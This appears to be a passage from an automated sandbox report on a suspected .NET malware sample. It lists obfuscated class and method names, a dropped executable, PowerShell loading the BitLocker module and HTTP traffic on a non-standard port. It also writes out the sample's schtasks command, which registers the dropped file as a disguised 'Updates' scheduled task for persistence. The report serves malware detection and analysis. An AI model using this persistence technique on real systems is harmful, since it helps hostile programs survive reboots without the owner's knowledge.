Source: 0.2.lZ8NRWShfC.exe.40f0200.6.raw.unpack, jDtyHOYNybMnytgpXw.cs	High entropy of concatenated method names: 'mAo9jdOPUS', 'UEI9bfyXx2', 'jq79s39eW2', 'Y9s9Cxx7ug', 'OWE9Toay9p', 'SHG9Uw9MHN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, FccI31gZs7ax4EMgc0.cs	High entropy of concatenated method names: 'Oa45d83JrX', 'dpL5JrHnyv', 'Bay9NSA4SR', 'KZZ9I6m8kE', 'Ufx5RO0WRn', 'bLu5fglnuo', 'QoQ5tIE2NR', 'vpI5Tm1oH5', 'LeG51aFNLK', 'swM5iw6g3W'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, FxZFjs4i7RkqaYNM30.cs	High entropy of concatenated method names: 'b0P5lCSL7w', 'QpS5wWvKwW', 'ToString', 'HdJ5r5OMqk', 'ELN5PeX7mp', 'ycn5n82U5Z', 'uxP5xQE8p3', 'vkk5vE8NhS', 'mV25hvXlUT', 'A205oClo1K'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, MIiEfhqr0fJrKWYxGY.cs	High entropy of concatenated method names: 'TNoxQi2nOb', 'jeZxOcjTHS', 'H1vnsyN905', 'tS8nCe0ISB', 'px6nUcP64f', 'tdXnpXdXmK', 'phlneLsGvn', 'hUcn2hM7tb', 'CysnMiJlsZ', 'yNpnaQTaAq'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, pmdfqZ0lSDhZhFlc0M.cs	High entropy of concatenated method names: 'zE7Ihr1DF7', 'HLsIoBO0ea', 'OORIlEtcPd', 'korIwv2IiE', 'oYxIWGYNUO', 'kGsIkWasNX', 'F84FEFzO4fZnljW9oJ', 'yTgFkSBG5aWYGtj61eV', 'eBUIIbg9SB', 'xPfIycBRVE'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, vr1DF7KsLsBO0eaics.cs	High entropy of concatenated method names: 'shAPT9VtDx', 'AgTP1O1NSf', 'IWNPiEYKGQ', 'vTHP4KqRgx', 'i6yPDqNhNh', 'x7IPgILM96', 't1dPurCFAT', 'oCEPdKrgpa', 'PnBPYRnjHR', 'mAYPJFMqjG'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, CvKhNyIIACZkd5dr9KT.cs	High entropy of concatenated method names: 'ToString', 'fblGy7tZx8', 'VS9G0LpQoq', 'DJkGcOMQDk', 'HL4GrJLjQS', 'e9oGP5xsgt', 'YWQGnJ3TXa', 'OA3Gxrv8TJ', 'EpDoHMC4chfe6HW9WN7', 'Odu5wlCW5CakG00voIl'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, RCrC1iTb0BmAV5dmVp.cs	High entropy of concatenated method names: 'qavWa0ZGrV', 'IedWfTHK9j', 'ev1WTqMmWF', 'r6YW1QEb7o', 'M55WbC08Rn', 'zNTWsvwhVY', 'xjkWCO6OkJ', 'LhmWUuJi2h', 'sxDWpgU1tg', 'EthWeCkQ9A'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, t68jHSoYAIlawlIG5e.cs	High entropy of concatenated method names: 'FM3ycftrZB', 'zv3yrdALNI', 'vA7yPmJdO6', 'zxOynilvSC', 'srjyxmOARk', 'pSQyvGSvVr', 'zV8yhJZTEg', 'tyHyo6jVAX', 'xMNyVHYiNd', 'hyUyleXIRC'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, NkeBeUMWOPbsUVWFGR.cs	High entropy of concatenated method names: 'pYLhZxyrCT', 'F1DhBWJVN2', 'WHlhFonTAX', 'DXHhLA3Vj8', 'BDNhQxuHwm', 'qrshHU0t5w', 'DMPhO1sdGe', 'YEdhKvnu9v', 'l4HhAIbc6I', 'sAqhqhBjH3'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, jZRAJKPAeaJ6Pt9qQq.cs	High entropy of concatenated method names: 'Dispose', 'tvgIY85Y4O', 'nvj3b5KVtZ', 'hNPffntPlB', 'D8kIJMy1vk', 'SPWIzUGFNA', 'ProcessDialogKey', 'iAh3NDtyHO', 'ayb3IMnytg', 'KXw33tdlvm'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, Hqvnrc30jYf7S8Ttkb.cs	High entropy of concatenated method names: 'z5rFUlrvy', 'eIbLOQ0YJ', 'cDKH7AFCb', 'ewdOw2dpK', 'WUXAnKwc7', 'IpXqLv4b0', 'Wnc1062Cy8XRtCyXdo', 'e36OFMfFtyInfeOhhS', 'LBm9VG5s4', 'FxtGKXCpD'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, SKqjlyegPhm1gxVV2P.cs	High entropy of concatenated method names: 'acDhrA0HkB', 'pGVhnixgQi', 'PWhhvQx22Q', 'FpmvJe4F7k', 'RtUvzShxPN', 'EyhhNksjTR', 'qtLhInpjEH', 'Gu0h3uOX4r', 'J3khy6UovJ', 'WMqh0qCOQV'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, vkMy1vdkiPWUGFNAxA.cs	High entropy of concatenated method names: 'lR29r6KDv4', 'wAS9PeZ22f', 'asR9nm8Fgx', 'CtH9xSX5xE', 'wHp9vVfu0w', 'rZR9hwJgjS', 'LtQ9oyL5v2', 'cEd9Vwou42', 'WBK9lNgRTG', 'TmJ9wgHRMJ'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, oaDF8RAOREtcPdoorv.cs	High entropy of concatenated method names: 'dn4nLbevDm', 'foGnHqc1iH', 'VepnKA5ld4', 'zDtnAYpZmi', 'HoNnW470qt', 'p8CnkgSFui', 'GtVn5QrxR3', 'FKHn9sq3Le', 'LFOnXh1TKM', 'iYanGjR1Aw'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, do9ekiIyhQPeaTUkxHW.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HY5GTjCsF2', 'W11G1YyBJm', 'OWCGinLynr', 'wLtG4Bx0cN', 'G9RGDDtyFT', 'Gx7GgCnVja', 'WTAGuuGyBc'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, aUOVGsjWasNXe67yVg.cs	High entropy of concatenated method names: 'o6dvctpC4C', 'UeUvPLufR0', 'jNbvxGoIlH', 'WnPvhKLS5c', 'oVevodEpIl', 'zFSxDF9reG', 'SZ0xgUej1A', 'NkZxuovhsi', 'tfnxd03UXp', 'gelxYw24DJ'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, tMZOjVtwNbMB4Vjyt6.cs	High entropy of concatenated method names: 'LJVSKDsqKg', 'm7PSAiri6o', 'LPVSjhdbyt', 'M6gSbgvQS6', 'hV6SCvFEpi', 'DuvSUbBmIp', 'UaYSeQvXeF', 'C5FS2nA76u', 'OSCSatlS6w', 'n6gSRHGXeA'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, GnMDJIINjyh8HxsYteN.cs	High entropy of concatenated method names: 'KtZXZsT4MD', 'xooXB4L5OA', 'rurXFlo4dk', 'E4bXL7J0EK', 'nfcXQF5YlK', 'xL6XH7Zm1x', 'rO0XOwODmt', 'tCwXKNbibj', 'sNIXA2MPaN', 'O4cXq4taXP'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, QdlvmkJkjt9a0OwbEb.cs	High entropy of concatenated method names: 'otvXILvGrG', 'MWaXyQyYpF', 'Df2X0FoeqZ', 'eEtXrjl0Sy', 'e9nXP8swGq', 'gyXXx8vtrX', 'tfnXvGwCfZ', 'upl9uW4BHC', 'mnp9da0vMS', 'MAe9Yt0GvE'
Source: 0.2.lZ8NRWShfC.exe.62b0000.11.raw.unpack, jDtyHOYNybMnytgpXw.cs	High entropy of concatenated method names: 'mAo9jdOPUS', 'UEI9bfyXx2', 'jq79s39eW2', 'Y9s9Cxx7ug', 'OWE9Toay9p', 'SHG9Uw9MHN', 'Next', 'Next', 'Next', 'NextBytes'

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

File created: C:\Users\user\AppData\Roaming\TmfmVKU.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TmfmVKU" /XML "C:\Users\user\AppData\Local\Temp\tmp51ED.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 55615
Source: unknown	Network traffic detected: HTTP traffic on port 55615 -> 49744

Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\lZ8NRWShfC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
